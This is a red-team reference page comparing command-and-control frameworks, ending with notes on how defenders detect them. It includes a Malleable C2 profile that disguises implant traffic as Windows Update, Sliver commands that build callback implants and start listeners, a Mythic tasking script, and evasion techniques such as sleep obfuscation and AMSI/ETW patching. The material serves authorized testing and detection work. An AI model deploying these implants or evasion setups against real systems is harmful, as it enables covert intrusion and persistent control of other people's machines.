Command & Control Frameworks | Red Teaming

Overview

Command and Control (C2) is the backbone of any red team operation. Once initial access is achieved, the operator needs a reliable, covert channel to task implants, exfiltrate data, move laterally, and maintain persistence. The C2 framework is the software that orchestrates this entire post-exploitation lifecycle — it is simultaneously a communication protocol, an implant generator, a task management system, and an operational security layer.

The C2 landscape has evolved dramatically since the early days of netcat reverse shells and Meterpreter. Modern frameworks offer encrypted channels across multiple protocols, sophisticated sleep and jitter patterns, in-memory execution, peer-to-peer mesh networks, and malleable traffic profiles that blend with legitimate enterprise traffic. Choosing the right framework for an engagement is a strategic decision that affects detection risk, operational capability, and team workflow.

This page provides an in-depth examination of the major C2 frameworks in active use, their architectures, strengths, and weaknesses, alongside practical guidance on selection criteria and detection signatures.

1. C2 Concepts and Fundamentals

Before diving into specific frameworks, it is essential to understand the core concepts that underpin all C2 architectures. These fundamentals apply regardless of which tool an operator selects.

What Is Command and Control?

C2 refers to the infrastructure and protocols that allow an attacker (or red team operator) to communicate with compromised systems. At its simplest, C2 is a client-server relationship: the implant (agent/beacon) running on a target checks in with a server (teamserver/listener) controlled by the operator, receives instructions, executes them, and returns results.

The design of this communication channel determines how stealthy, resilient, and capable the operation will be.

Communication Channels

C2 frameworks support a variety of transport protocols, each with distinct trade-offs:

HTTP/HTTPS — The most common egress channel. HTTPS traffic blends with normal web browsing, passes through most firewalls, and can be fronted through CDNs (domain fronting) or legitimate cloud services. The downside is that HTTP-based C2 is well-understood by defenders, and proxy-aware environments may perform TLS inspection.

DNS — Encodes C2 data within DNS queries and responses (TXT, CNAME, A records). Extremely difficult to block entirely since DNS is required for network functionality. However, DNS C2 is slow (limited payload size per query), generates anomalous query volumes, and modern DNS monitoring can detect tunneling patterns.

SMB — Uses named pipes over the Server Message Block protocol for intra-network communication. Ideal for lateral movement and peer-to-peer chains within an Active Directory environment. SMB traffic between workstations and domain controllers is expected, providing natural cover. Not suitable for egress to the internet.

TCP (Raw) — Direct TCP connections offer high throughput and low latency. Useful in internal networks where firewall rules are permissive. Easily detected at network boundaries and lacks the cover of application-layer protocols.

Named Pipes — A Windows IPC mechanism used for local and network communication. Many C2 frameworks use named pipes for inter-process communication between the implant and injected payloads, or for peer-to-peer linking between agents on the same network segment.

WireGuard / mTLS — Some modern frameworks (notably Sliver) use encrypted VPN-like tunnels or mutual TLS for transport. These provide strong encryption and authentication but generate traffic patterns that may stand out in environments where such protocols are unexpected.

Sleep, Jitter, and Callback Patterns

The sleep timer controls how frequently an implant checks in with the teamserver. A 60-second sleep means the agent contacts the server once per minute. Longer sleep intervals reduce network noise and detection risk but increase the time between tasking and execution.

Jitter adds randomness to the sleep interval. A 60-second sleep with 20% jitter means the actual callback interval varies between 48 and 72 seconds. This prevents defenders from identifying C2 traffic by its regularity — perfectly periodic callbacks are a strong indicator of compromise.

Tuning sleep and jitter is one of the most important OPSEC decisions an operator makes. Short sleeps (1-5 seconds) enable interactive operation but are noisy. Long sleeps (30-60 minutes) are stealthy but make the engagement painfully slow. Most operators use different profiles for different phases: aggressive callbacks during active exploitation, longer sleeps for persistence beacons.

Peer-to-Peer vs. Egress

Egress C2 describes the traditional model: each implant communicates directly outbound to the teamserver (or through a redirector). This is simple to manage but creates multiple network connections from compromised hosts to external infrastructure.

Peer-to-peer (P2P) C2 allows implants to communicate with each other, forming a chain or mesh network. Only one node in the chain needs egress access. Interior nodes pass traffic through SMB named pipes, TCP connections, or other local protocols to the egress node, which relays it to the teamserver.

P2P is invaluable in segmented networks where only specific hosts have internet access. It reduces the number of external connections, making detection harder. The trade-off is increased complexity, higher latency, and the risk that losing a link node severs communication with all nodes behind it.

graph LR
    A[Operator] --> B[Teamserver]
    B --> C[Redirector / CDN]
    C --> D[Egress Agent - Workstation A]
    D -->|SMB Named Pipe| E[P2P Agent - Server B]
    D -->|SMB Named Pipe| F[P2P Agent - Server C]
    E -->|TCP| G[P2P Agent - DB Server]
    F -->|Named Pipe| H[P2P Agent - DC]

Staging vs. Stageless

Staged payloads are delivered in two phases. A small, lightweight stager is executed first. The stager’s only job is to contact the C2 server and download the full implant (the stage). This minimizes the initial payload size, which is useful when delivery constraints exist (e.g., limited space in an exploit buffer). The downside is an additional network transaction that can be detected, and the full implant is transmitted in the clear unless encrypted.

Stageless payloads contain the complete implant in a single binary. They are larger but avoid the second network connection. Stageless payloads are generally preferred for OPSEC because they eliminate the staging transaction and do not rely on the C2 server being reachable at the exact moment of execution.

Interactive vs. Asynchronous

Interactive (synchronous) C2 provides a real-time shell-like experience. Commands are sent and results returned immediately. This requires a persistent or near-persistent connection and is inherently noisier.

Asynchronous C2 is the check-in model. The agent sleeps, wakes up, retrieves queued tasks, executes them, and returns results on the next check-in. This is the dominant model for modern C2 frameworks because it is far more difficult to detect than a persistent connection.

Most frameworks default to asynchronous operation but allow operators to drop into an interactive mode (reducing sleep to near-zero) when performing time-sensitive actions like credential harvesting during a user’s active session.

2. Cobalt Strike

Cobalt Strike is the most widely known and historically dominant commercial C2 framework. It has been the de facto standard for professional red teams since its introduction and remains the framework against which all others are measured.

History

Cobalt Strike was created by Raphael Mudge in 2012 as a commercial adversary simulation tool built on top of the Armitage project (a graphical front-end for Metasploit). It was designed from the ground up for red team operations, focusing on post-exploitation, lateral movement, and covert communication rather than vulnerability exploitation.

In 2020, HelpSystems (now Fortra) acquired Cobalt Strike. Raphael Mudge stepped away from active development. Under Fortra’s stewardship, the tool has continued to receive updates, though the community has noted a shift in development velocity and focus.

Beacon

Beacon is Cobalt Strike’s implant — the payload that runs on compromised systems. Beacon supports:

HTTP, HTTPS, and DNS communication channels
SMB and TCP for peer-to-peer communication
Configurable sleep and jitter intervals
In-memory execution via execute-assembly (loads .NET assemblies into memory)
Process injection and migration
Keystroke logging, screenshot capture, and file browser
SOCKS proxy pivoting
Port forwarding
Token manipulation and privilege escalation

Beacon operates asynchronously by default. Operators can switch to interactive mode with sleep 0 for real-time command execution.

Malleable C2 Profiles

Malleable C2 is arguably Cobalt Strike’s most powerful feature. A Malleable C2 profile is a configuration file that defines how Beacon’s network traffic looks on the wire. The operator can customize HTTP headers, URI paths, query parameters, POST body encoding, metadata encoding, and even the TLS certificate to make C2 traffic mimic legitimate services — Microsoft update checks, Amazon API calls, Slack webhooks, or any other HTTP-based service.

A simplified example of a Malleable C2 profile:

# Malleable C2 Profile - Microsoft Update Impersonation

set sleeptime "60000";
set jitter    "20";
set useragent "Microsoft-CryptoAPI/10.0";

http-get {
    set uri "/msdownload/update/v3/static/trustedr/en/authrootstl.cab";

    client {
        header "Accept" "text/html,application/xhtml+xml";
        header "Accept-Language" "en-US,en;q=0.9";
        header "Connection" "keep-alive";

        metadata {
            base64url;
            prepend "session_id=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/octet-stream";
        header "Server" "Microsoft-IIS/10.0";
        header "X-Powered-By" "ASP.NET";

        output {
            mask;
            base64;
            print;
        }
    }
}

http-post {
    set uri "/v3/delivery/registration";

    client {
        header "Content-Type" "application/json";

        id {
            prepend "{\"id\":\"";
            append "\"}";
            print;
        }

        output {
            mask;
            base64url;
            uri-append;
        }
    }

    server {
        header "Content-Type" "application/json";

        output {
            mask;
            base64;
            prepend "{\"status\":\"ok\",\"data\":\"";
            append "\"}";
            print;
        }
    }
}

This profile makes Beacon’s HTTP traffic resemble Windows Update communications. The metadata block controls how the implant’s session metadata is encoded and placed in the request (here, as a base64url-encoded cookie). The output blocks control how task results are encoded in responses.

Profiles can also configure:

Process injection behavior — Which APIs to use, how to allocate memory, whether to use RWX or RW+RX permissions
Post-exploitation spawn-to — Which process Beacon spawns for post-exploitation jobs
Code signing — Certificate details for signed payloads
DNS configuration — DNS idle IP, maximum DNS record length, DNS beacon subdomains
Stage transformation — How the Beacon DLL is encoded when delivered via a stager
Memory indicators — Obfuscation of Beacon in memory to defeat YARA-based scanning

Beacon Object Files (BOFs)

BOFs are small, compiled C programs that execute within Beacon’s process space. Unlike execute-assembly (which spawns a temporary process to load a .NET assembly), BOFs run in-line, making them significantly more OPSEC-safe.

BOFs have access to Beacon’s internal APIs for output, token manipulation, and argument parsing. The community has produced an extensive library of BOFs for tasks ranging from Active Directory enumeration to credential theft to network discovery.

The Community Kit (community-maintained repository) and BOF collections from TrustedSec, Cobalt Strike’s official repository, and other contributors provide hundreds of ready-to-use BOFs.

BeaconGate

Introduced in Cobalt Strike 4.10, BeaconGate is a system-call hooking mechanism that allows Malleable C2 profiles to control how Beacon invokes Windows API calls for key operations (virtual memory allocation, thread creation, process injection). BeaconGate lets operators route these calls through indirect syscalls, custom call stacks, or user-defined functions — drastically complicating EDR detection of Beacon’s in-memory behavior.

Execute-Assembly

The execute-assembly command loads and executes a .NET assembly entirely in memory. Cobalt Strike spawns a sacrificial process (configurable via the spawnto profile setting), injects a CLR loader into it, loads the assembly, captures output, and terminates the process. This enables the use of the vast .NET offensive tooling ecosystem (Rubeus, Seatbelt, SharpHound, Certify, etc.) without dropping files to disk.

Lateral Movement

Cobalt Strike provides built-in lateral movement commands:

psexec / psexec_psh — Service-based execution via named pipes
wmi — WMI process creation
winrm — Windows Remote Management execution
dcom — Distributed COM execution
ssh — SSH lateral movement (added in recent versions)

Each method creates a new Beacon session on the target host. Operators can also use custom lateral movement techniques through BOFs or execute-assembly.

Operation Morpheus and Licensing

Cobalt Strike has been widely pirated since its inception. Cracked versions circulate freely on underground forums and have been adopted by actual threat actors (ransomware groups, APTs, and criminal organizations). This created a reputation problem: Cobalt Strike detections in an environment are as likely to indicate real-world compromise as a sanctioned red team exercise.

In response, Fortra launched Operation Morpheus in collaboration with law enforcement, including Europol, to identify and disrupt unauthorized copies of Cobalt Strike. This effort involves watermarking licensed copies, working with hosting providers to take down pirated teamservers, and legal action against distributors.

The legitimate license model is per-operator, per-year, and runs several thousand dollars annually. Fortra vets purchasers to ensure they are legitimate security firms. Despite these controls, the cracked 4.x versions remain widely available.

Strengths and Limitations

Strengths:

Mature, battle-tested codebase with extensive documentation
Malleable C2 profiles provide unmatched traffic customization
Massive ecosystem of community tooling (BOFs, kits, aggressor scripts)
Industry-standard training materials and certifications
Multi-operator collaboration via shared teamserver

Limitations:

Extremely well-signatured by EDR vendors — default Beacon is detected immediately
Commercial license is expensive and access-controlled
Closed-source limits customization beyond what profiles and kits allow
Widespread abuse by threat actors has made any Cobalt Strike traffic a high-priority alert
Development pace has slowed under Fortra ownership

3. Mythic

Mythic is an open-source, modular C2 framework designed with extensibility as its core principle. Rather than shipping a single, monolithic implant, Mythic provides a platform on which operators can build, deploy, and manage agents written in any language for any target platform.

Architecture

Mythic’s architecture is container-based, built on Docker. Each component runs in its own container:

Mythic Server — The central orchestration engine, written in Go. Manages agent registration, task queuing, file management, and the web UI.
PostgreSQL — Stores all operational data: callbacks, tasks, credentials, files, screenshots, keylogs, and operator activity.
RabbitMQ — Message broker that handles communication between the Mythic server, C2 profile containers, and agent translation containers.
C2 Profile Containers — Each communication protocol (HTTP, DNS, WebSocket, etc.) runs in its own container. New transport protocols can be added without modifying the core server.
Translation Containers — Handle encoding/decoding of agent-specific message formats. This allows agents written in different languages to use different serialization formats while the server maintains a consistent internal representation.

graph TB
    subgraph Mythic Platform
        MS[Mythic Server - Go] --> PG[(PostgreSQL)]
        MS --> RMQ[RabbitMQ]
        RMQ --> CP1[C2 Profile: HTTP]
        RMQ --> CP2[C2 Profile: DNS]
        RMQ --> CP3[C2 Profile: WebSocket]
        RMQ --> TC1[Translation: Apollo]
        RMQ --> TC2[Translation: Poseidon]
    end
    CP1 --> A1[Agent: Apollo - Windows]
    CP2 --> A2[Agent: Poseidon - Linux/macOS]
    CP3 --> A3[Agent: Medusa - Python]
    OP[Operator - Browser UI] --> MS

This containerized architecture means Mythic is platform-agnostic at the framework level. The server itself runs on Linux (or anywhere Docker is supported), and agents can target any operating system.

Agent Ecosystem

Mythic’s strength lies in its diverse agent ecosystem. Agents are developed independently and plugged into the platform:

Apollo — A Windows agent written in C#. Full-featured with token manipulation, assembly loading, process injection, lateral movement, and SOCKS proxying. Apollo is the most mature Mythic agent and covers most Windows post-exploitation needs.

Poseidon — A cross-platform agent written in Go, targeting Linux and macOS. Supports SSH key harvesting, clipboard monitoring, pty spawning, and standard post-exploitation commands. Poseidon’s Go-based architecture makes it easy to cross-compile for unusual targets.

Medusa — A Python-based agent designed for flexibility. Dynamically loads modules at runtime, making it lightweight by default and extensible on demand. Useful when Python is already present on target systems.

Merlin Agent — A Go-based agent originally from the standalone Merlin C2 framework, ported to work within Mythic’s ecosystem. Supports HTTP/2 and HTTP/3 (QUIC) transports.

Other community-contributed agents exist for specific use cases. The modular architecture means that developing a new agent requires implementing Mythic’s agent message protocol — the server handles everything else.

Custom Agent Development

Mythic publishes a detailed specification for the agent-server communication protocol. Building a custom agent involves:

Implementing the message format (JSON-based, or custom via a translation container)
Handling task request/response cycles
Implementing desired commands (each command is a discrete module)
Registering the agent with the Mythic server via a definition file

This modularity allows organizations to develop proprietary agents tailored to their target environments — a significant advantage when commercial or well-known open-source implants are too easily detected.

Mythic Scripting and Task Management

Mythic exposes a full GraphQL API and a Scripting API (Python-based) that allows operators to automate workflows:

# Example: Mythic Scripting — automated host enumeration
from mythic import mythic

async def auto_enum(callback_id):
    mythic_instance = await mythic.login(
        username="operator1",
        password="password",
        server_ip="10.0.0.5",
        server_port=7443
    )

    # Task the agent with whoami
    await mythic.issue_task(
        mythic_instance,
        callback_id=callback_id,
        command="whoami",
        params=""
    )

    # Task network enumeration
    await mythic.issue_task(
        mythic_instance,
        callback_id=callback_id,
        command="net_localgroup_members",
        params="{\"group\": \"Administrators\"}"
    )

    # Task process listing
    await mythic.issue_task(
        mythic_instance,
        callback_id=callback_id,
        command="ps",
        params=""
    )

This scripting capability enables automated initial enumeration, bulk tasking across multiple callbacks, and integration with external tools and workflows.

Strengths and Limitations

Strengths:

Fully open-source with active community development
Modular architecture supports arbitrary agents and transport protocols
Rich web UI with real-time updates, file browser, credential management
GraphQL API enables deep automation and integration
Cross-platform by design

Limitations:

Docker-based architecture has a significant resource footprint
Agent quality varies — community agents may lack polish or features
Steeper learning curve than monolithic frameworks
Less established in terms of training materials and certifications
Requires more setup and configuration than out-of-the-box tools

4. Sliver

Sliver is an open-source C2 framework developed by BishopFox. It was built as a modern, free alternative to Cobalt Strike, with a focus on ease of use, operator collaboration, and multi-protocol support.

Transport Protocols

Sliver supports an unusually broad range of transport options:

mTLS (Mutual TLS) — Strong encryption with mutual authentication. Fast and reliable but generates TLS traffic to non-standard endpoints.
WireGuard — Modern VPN protocol. Low overhead, strong encryption, and relatively uncommon in C2 contexts, making it less signatured.
HTTP(S) — Standard web-based transport with configurable profiles. Supports domain fronting.
DNS — DNS tunneling for environments where HTTP egress is blocked.

Each transport can be configured independently. Operators can generate implants that support multiple transports simultaneously, with automatic fallback if the primary channel is disrupted.

Implant Generation

Sliver generates implants (called “implants” or “beacons”) via its CLI. The generation process compiles a Go-based implant with the specified configuration baked in:

# Generate a stageless beacon with mTLS transport
sliver > generate beacon --mtls 10.0.0.5:8443 --os windows --arch amd64 \
    --name FINANCE-WS01 --skip-symbols --seconds 60 --jitter 30

# Generate an HTTP implant with domain fronting
sliver > generate --http cdn.example.com --os windows --arch amd64 \
    --name EXCHANGE-01 --skip-symbols

# Generate a DNS-only implant
sliver > generate beacon --dns 1.example.com --os linux --arch amd64 \
    --name WEB-SVR-03 --seconds 300 --jitter 50

# List generated implants
sliver > implants

# Start a listener
sliver > mtls --lhost 0.0.0.0 --lport 8443
sliver > https --lhost 0.0.0.0 --lport 443 --domain cdn.example.com

The --skip-symbols flag strips debug symbols from the compiled binary, reducing file size and removing strings that would aid reverse engineering.

Multiplayer Mode

Sliver natively supports multiplayer mode, allowing multiple operators to connect to the same teamserver simultaneously. Operators authenticate using client configuration files generated by the server. Each operator can independently interact with implants, and all activity is logged centrally.

# Generate a new operator config
sliver > new-operator --name operator1 --lhost 10.0.0.5

# Operator connects using the generated config
$ sliver-client import operator1_10.0.0.5.cfg
$ sliver-client

Armory — Extensions and Aliases

The Armory is Sliver’s package manager for extensions and aliases. Extensions add new capabilities to implants (often compiled as shared libraries loaded at runtime), while aliases provide convenient command wrappers for common tools.

# List available armory packages
sliver > armory

# Install an extension
sliver > armory install rubeus
sliver > armory install seatbelt
sliver > armory install sharp-hound-4

# Use installed extension
sliver (FINANCE-WS01) > rubeus kerberoast
sliver (FINANCE-WS01) > seatbelt -- -group=all

The Armory includes ports of popular offensive tools, BOF loaders, and custom extensions contributed by the community.

BOF Support and BYOB

Sliver includes a Beacon Object File (BOF) loader, allowing operators to execute Cobalt Strike-compatible BOFs directly within Sliver sessions. This means the vast library of existing BOFs can be leveraged without modification.

The BYOB (Bring Your Own Binary) system allows operators to compile and load custom shared libraries into implant processes, extending functionality at runtime.

Strengths and Limitations

Strengths:

Fully open-source under GPLv3
Modern Go codebase, actively maintained by BishopFox
Multiple transport protocols including WireGuard
Built-in BOF support leverages existing Cobalt Strike ecosystem
Multiplayer mode for team operations
Armory provides extensible tool ecosystem
Cross-compilation for Windows, Linux, macOS, and more

Limitations:

Go-based implants are relatively large (8-15 MB)
Growing detection signatures as adoption increases
Less mature than Cobalt Strike in terms of advanced post-exploitation
Malleable profile support is less granular than Cobalt Strike
Implant generation takes time due to Go compilation

5. Havoc

Havoc is a modern, open-source C2 framework created by C5pider. It was designed to compete directly with commercial tools, with a strong emphasis on EDR evasion and a polished GUI experience.

Demon Agent

Demon is Havoc’s primary implant, written in C with a focus on stealth:

Indirect syscalls to bypass user-mode API hooking
Configurable sleep obfuscation techniques
Return address stack spoofing to defeat call-stack analysis
Hardware breakpoint-based AMSI/ETW patching
Token manipulation and impersonation
Inline .NET assembly execution
Process injection with multiple techniques
BOF execution support

Sleep Obfuscation

Havoc’s sleep obfuscation is one of its standout features. When an implant sleeps between callbacks, its memory regions can be scanned by EDR products. Sleep obfuscation encrypts the implant’s memory during the sleep period and restores it on wake, making in-memory scanning ineffective.

Havoc supports three sleep obfuscation techniques:

Ekko — Uses the RtlCreateTimer API to queue APC calls that encrypt the implant’s memory, change memory permissions to non-executable, sleep, restore permissions, and decrypt. Named after the League of Legends character by its creator, 5pider.

Zilean — A variation that uses WaitForSingleObjectEx combined with APC queuing for the encryption/decryption cycle. Offers a different call stack pattern that may evade detection rules targeting Ekko’s specific API sequence.

Foliage — Uses NtApcQueueWorkerItem for the obfuscation cycle. This technique leverages worker factory threads, producing yet another distinct call stack pattern.

The availability of multiple techniques means operators can rotate between them based on the target environment’s detection capabilities.

Indirect Syscalls

Havoc’s Demon agent uses indirect syscalls for critical Windows API operations. Rather than calling ntdll.dll functions directly (where EDR hooks reside), Demon resolves syscall numbers at runtime and executes the syscall instruction from within ntdll’s own memory space. This bypasses user-mode hooks while producing a call stack that appears legitimate.

Custom Agents and Modules

Havoc exposes a Python-based API for developing custom agents and modules:

Custom agents can be written in any language and registered with the Havoc server
Modules extend the Demon agent’s capabilities at runtime
The API provides hooks for command registration, output handling, and UI integration

Strengths and Limitations

Strengths:

Advanced EDR evasion out of the box (sleep obfuscation, indirect syscalls, stack spoofing)
Modern, polished Qt-based GUI
Open-source with active development
BOF support for leveraging existing tooling
Multiple sleep obfuscation techniques

Limitations:

Younger project with less battle-testing than Cobalt Strike or Sliver
Smaller community and extension ecosystem
Windows-focused (Demon is Windows-only; cross-platform agents require custom development)
Documentation is less comprehensive than more established frameworks
Development can be sporadic as it relies on a small core team

6. Brute Ratel C4 (BRc4)

Brute Ratel C4 is a commercial adversary simulation framework created by Chetan Nayak (known as Paranoid Ninja), a former red teamer who built the tool based on real-world experience bypassing enterprise EDR deployments.

Design Philosophy

BRc4 was designed from the ground up with EDR evasion as the primary goal. Rather than being a general-purpose C2 that operators harden after deployment, Brute Ratel assumes a hostile, heavily-monitored environment and builds evasion into every component.

Badger

Badger is BRc4’s implant. Key capabilities include:

Direct and indirect syscall execution with dynamic syscall number resolution
Custom stack spoofing for every syscall invocation
Sleep obfuscation with encrypted memory regions
Process injection using multiple techniques with call-stack sanitization
ETW and AMSI patching using hardware breakpoints (no suspicious memory writes)
LDAP-based connectivity checks (LDAP Sentinel)
SMB and TCP peer-to-peer communication
Reflective DLL loading and shellcode injection

LDAP Sentinel

A unique BRc4 feature, LDAP Sentinel uses LDAP queries to a domain controller as a connectivity check and C2 channel. Since LDAP traffic between domain-joined workstations and domain controllers is ubiquitous in Active Directory environments, this channel blends naturally with legitimate traffic and is rarely monitored for C2 indicators.

Syscall Usage

BRc4’s approach to syscalls is notably sophisticated. Rather than simply resolving syscall numbers and executing them (which leaves artifacts that can be detected), Badger:

Dynamically resolves syscall numbers from ntdll.dll
Constructs synthetic call stacks that mimic legitimate Windows API call chains
Executes syscalls from legitimate memory regions
Varies execution patterns to avoid behavioral signatures

This multi-layered approach defeats both static hook-based detection and dynamic call-stack analysis performed by modern EDR agents.

The Leaked Version Controversy

In September 2022, a cracked version of BRc4 v1.2.2 was leaked and rapidly distributed across underground forums and malware repositories. This incident had significant consequences:

Threat actors (notably associated with ransomware operations) adopted BRc4 for real-world attacks
EDR vendors received samples and rapidly developed detection signatures
The tool’s reputation shifted from “red team exclusive” to “another pirated C2”
Chetan Nayak responded by accelerating development and implementing stricter licensing controls

The leak mirrored what happened with Cobalt Strike years earlier and underscored the dual-use dilemma of offensive security tools.

Strengths and Limitations

Strengths:

Best-in-class EDR evasion for Windows targets
Purpose-built for adversary simulation in monitored environments
Active development with frequent updates targeting latest EDR capabilities
LDAP Sentinel provides a unique, low-detection C2 channel
Sophisticated syscall and call-stack spoofing

Limitations:

Commercial license (several thousand dollars per year)
Smaller community than Cobalt Strike or open-source alternatives
Leaked version increased detection coverage by EDR vendors
Windows-centric — limited cross-platform capabilities
Less extensive documentation and training ecosystem

7. Nighthawk

Nighthawk is a commercial C2 framework developed by MDSec, a UK-based offensive security consultancy. It occupies the high end of the commercial C2 market and is designed for advanced adversary simulation engagements.

Design Focus

Nighthawk is built around three principles:

Custom Tooling — Rather than providing a generic implant, Nighthawk emphasizes customization. Operators can deeply configure implant behavior, communication patterns, and evasion techniques for each engagement.

Anti-Forensics — Nighthawk includes features designed to complicate incident response and forensic analysis. This includes timestamp manipulation, log cleaning capabilities, and memory-resident operation that minimizes forensic artifacts.

OPSEC by Default — The framework defaults to secure configurations. Sleep obfuscation, indirect syscalls, and encrypted communications are enabled by default rather than being optional add-ons.

Key Capabilities

Advanced sleep obfuscation with multiple techniques
Module stomping and phantom DLL loading
Custom HTTP profiles with traffic shaping
Peer-to-peer communication via SMB and TCP
Inline execution of .NET assemblies and BOFs
Comprehensive token and privilege management
Built-in SOCKS proxy and port forwarding

Availability

Nighthawk is sold exclusively to vetted security firms and is not widely available. MDSec maintains strict access controls, and the framework has not (as of this writing) been leaked or cracked. This exclusivity means that EDR detection coverage for Nighthawk is significantly less mature than for Cobalt Strike or even BRc4.

8. Other Notable C2 Frameworks

The C2 ecosystem extends well beyond the major players. Several other frameworks fill specific niches or serve as educational and research tools.

PoshC2

An open-source C2 framework built on PowerShell and Python. PoshC2 was one of the early open-source alternatives to Cobalt Strike and remains useful for engagements where PowerShell-based operations are acceptable. It includes implants in PowerShell, C#, and Python, with support for HTTPS and DNS communication. Its reliance on PowerShell makes it less suitable for modern engagements where AMSI and ScriptBlock logging are enabled, but it remains a capable tool for specific scenarios.

Covenant

A .NET-based, open-source C2 framework with a clean web interface. Covenant introduced the concept of Grunts (implants) and GruntTasks (modular post-exploitation capabilities). Written entirely in C#, it appealed to operators already familiar with the .NET offensive ecosystem. Development has stalled in recent years, but its architecture influenced several successor frameworks.

Merlin

A cross-platform C2 framework written in Go by Russel Van Tuyl. Merlin’s distinguishing feature is its support for modern HTTP protocols — HTTP/2 and HTTP/3 (QUIC) — which generate traffic patterns that many security tools are not yet equipped to inspect. The Go-based agent compiles to a single static binary for any supported platform. Merlin’s agent has also been ported to work within the Mythic ecosystem.

Deimos

A Go-based C2 agent designed for Mythic. Deimos focuses on providing a lightweight, cross-platform agent with HTTPS and TCP communication. It serves as a good starting point for operators who want a simple, reliable agent within the Mythic ecosystem without the overhead of more complex agents.

HardHat

A newer C2 framework written in C#/.NET with a focus on usability and modern features. HardHat provides a web-based interface, supports multiple communication channels, and includes built-in post-exploitation modules. It targets the gap between simple open-source tools and expensive commercial platforms, offering a middle ground of capability and accessibility.

9. C2 Framework Comparison

The following table provides a side-by-side comparison of the major C2 frameworks discussed in this guide. Note that capabilities evolve rapidly — this comparison reflects the state as of early 2026.

Framework	Language	License	Protocols	Key Feature	EDR Evasion	Learning Curve	Community
Cobalt Strike	Java/C	Commercial ($)	HTTP/S, DNS, SMB, TCP	Malleable C2 Profiles	Medium (requires tuning)	Moderate	Very Large
Mythic	Go/Docker	Open Source	HTTP/S, DNS, WebSocket, Custom	Modular agent ecosystem	Agent-dependent	Steep	Large
Sliver	Go	Open Source (GPLv3)	mTLS, WireGuard, HTTP/S, DNS	Multi-transport + BOF support	Medium	Low-Moderate	Large
Havoc	C/C++	Open Source	HTTP/S, SMB	Sleep obfuscation (Ekko/Zilean/Foliage)	High	Moderate	Medium
Brute Ratel C4	C/C++	Commercial ($)	HTTP/S, DNS, SMB, TCP, LDAP	Indirect syscalls + stack spoofing	Very High	Moderate	Small
Nighthawk	C/C++	Commercial ($$)	HTTP/S, SMB, TCP	Anti-forensics + custom tooling	Very High	High	Very Small
PoshC2	PowerShell/Python	Open Source	HTTP/S, DNS	PowerShell-native operations	Low	Low	Medium
Covenant	C#	Open Source	HTTP/S	.NET-native Grunt architecture	Low-Medium	Low	Small (stalled)
Merlin	Go	Open Source	HTTP/2, HTTP/3, QUIC	Modern protocol support	Medium	Moderate	Medium
HardHat	C#	Open Source	HTTP/S, TCP, SMB	Web UI + .NET integration	Medium	Low-Moderate	Small

Reading the Table

EDR Evasion ratings reflect the out-of-the-box capability of the framework to avoid detection by enterprise endpoint detection and response solutions. “Very High” means the framework was specifically designed to evade modern EDR stacks. “Low” means default configurations are quickly detected without significant customization.

Learning Curve considers documentation quality, community resources, installation complexity, and conceptual overhead. “Low” frameworks can be operational within hours. “High” frameworks may require days of setup and study.

Community reflects the size and activity of the user and developer community, including third-party tooling, blog posts, training materials, and forum activity.

10. Selection Criteria

Selecting a C2 framework is not a matter of choosing the “best” tool. The right choice depends on the specific engagement context, team capabilities, and operational requirements.

Engagement Type

Compliance-driven penetration test — Sliver or PoshC2 are often sufficient. Detection evasion is less critical, and the focus is on demonstrating risk. Open-source tools keep costs down.

Adversary simulation / assumed breach — Cobalt Strike or Mythic provide the maturity and feature depth needed for multi-week operations with complex lateral movement scenarios.

Purple team exercise — Frameworks with good logging and reproducibility are preferred. Mythic’s detailed task logging and Cobalt Strike’s aggressor scripting both serve this well.

Red team with EDR bypass requirement — Havoc, Brute Ratel, or Nighthawk are designed for this scenario. The investment in commercial licensing or custom configuration is justified when the goal is testing detection coverage.

Target Environment

Windows-dominant Active Directory — Cobalt Strike, Havoc, or Brute Ratel. The Windows-specific evasion techniques (sleep obfuscation, indirect syscalls, token manipulation) are essential.

Mixed Windows/Linux/macOS — Sliver or Mythic. Both provide genuine cross-platform capability rather than treating non-Windows targets as an afterthought.

Cloud-heavy / serverless — Mythic with custom agents, or Sliver with WireGuard transport. Traditional C2 assumptions about persistent hosts and network-based communication may not apply.

Air-gapped or heavily segmented — P2P-capable frameworks are essential. Cobalt Strike’s SMB Beacon, Sliver’s peer-to-peer, or Havoc’s SMB linking allow operators to chain through network segments.

Budget

Zero budget — Sliver, Havoc, Mythic, or PoshC2. All are open-source and free.

Moderate budget ($5,000-$15,000/year) — Cobalt Strike or Brute Ratel. The investment provides commercial support, regular updates, and established training pipelines.

High budget — Nighthawk, combined with Cobalt Strike or Sliver as secondary frameworks. Multiple frameworks provide operational flexibility and redundancy.

OPSEC Requirements

If the engagement requires minimal detection risk, the framework selection should prioritize:

Traffic customization — How finely can network indicators be tuned?
Memory evasion — Does the implant support sleep obfuscation and in-memory encryption?
Syscall handling — Does the agent use indirect syscalls or direct API calls?
Known signatures — How widely detected are the framework’s default indicators?
Payload size and entropy — Will the implant survive content inspection?

For maximum OPSEC, many advanced teams develop custom agents (often within Mythic’s framework) tailored to the specific engagement, avoiding all known tool signatures entirely.

Team Expertise

Consider what your team already knows. A team experienced with C# will get more value from Covenant or Cobalt Strike’s execute-assembly workflow. A team comfortable with Go will be more productive with Sliver. Operators who have invested in learning Malleable C2 profiles represent significant institutional knowledge that should factor into framework selection.

See Infrastructure for guidance on setting up the supporting infrastructure (redirectors, domain fronting, CDNs) that complements your C2 framework choice.

11. Detection Signatures and Defensive Perspective

Understanding how C2 frameworks are detected is essential for both red teams (to improve OPSEC) and blue teams (to build detection coverage). This section examines the primary detection methodologies. For deeper coverage of evasion techniques, see Stealth & Evasion.

JA3 and JA4 Fingerprinting

JA3 hashes are TLS client fingerprints derived from the TLS Client Hello message (supported cipher suites, extensions, elliptic curves, and signature algorithms). Each C2 framework’s HTTP client produces a characteristic JA3 hash based on the TLS library it uses.

JA4 extends this concept with additional granularity, incorporating QUIC support, HTTP/2 ALPN negotiation, and other modern protocol features.

Default Cobalt Strike Beacons, Sliver implants, and other framework agents produce known JA3/JA4 hashes that are cataloged in threat intelligence feeds. Defenders can alert on traffic matching these fingerprints.

Red team mitigation: Use custom TLS configurations, C2 over legitimate CDN services (which terminate TLS with their own stack), or redirect through NGINX/Apache reverse proxies that re-terminate TLS.

Default Malleable Profile Detection

Many Cobalt Strike operators deploy with default or minimally-modified Malleable C2 profiles. Defenders maintain signatures for:

Default URI patterns (/submit.php, /stager, /beacon)
Default named pipe names (\.\pipe\msagent_*)
Default HTTP headers and their ordering
Known sample profiles from public repositories

